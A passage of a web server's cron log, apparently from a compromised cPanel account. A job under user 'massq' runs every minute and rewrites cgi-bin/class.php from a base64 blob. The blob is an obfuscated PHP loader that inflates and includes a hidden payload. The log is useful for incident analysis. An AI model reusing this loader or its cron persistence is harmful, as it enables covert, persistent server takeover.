Hg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:10:01 server CROND[6151]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 15:10:01 server CROND[6152]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 15:11:01 server CROND[6256]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:12:01 server CROND[6469]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:12:01 server CROND[6470]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 15:13:01 server CROND[6524]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:14:01 server CROND[6580]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:15:01 server CROND[6637]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 15:15:01 server CROND[6638]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 15:15:01 server CROND[6639]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:16:01 server CROND[6745]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:17:01 server CROND[6899]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:18:01 server CROND[6954]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:19:02 server CROND[7027]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:20:01 server CROND[7108]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 15:20:01 server CROND[7110]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 15:20:01 server CROND[7111]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 15:20:01 server CROND[7112]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 15:20:01 server CROND[7113]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:21:01 server CROND[7236]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:22:01 server CROND[7400]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:23:01 server CROND[7455]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:24:01 server CROND[7503]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 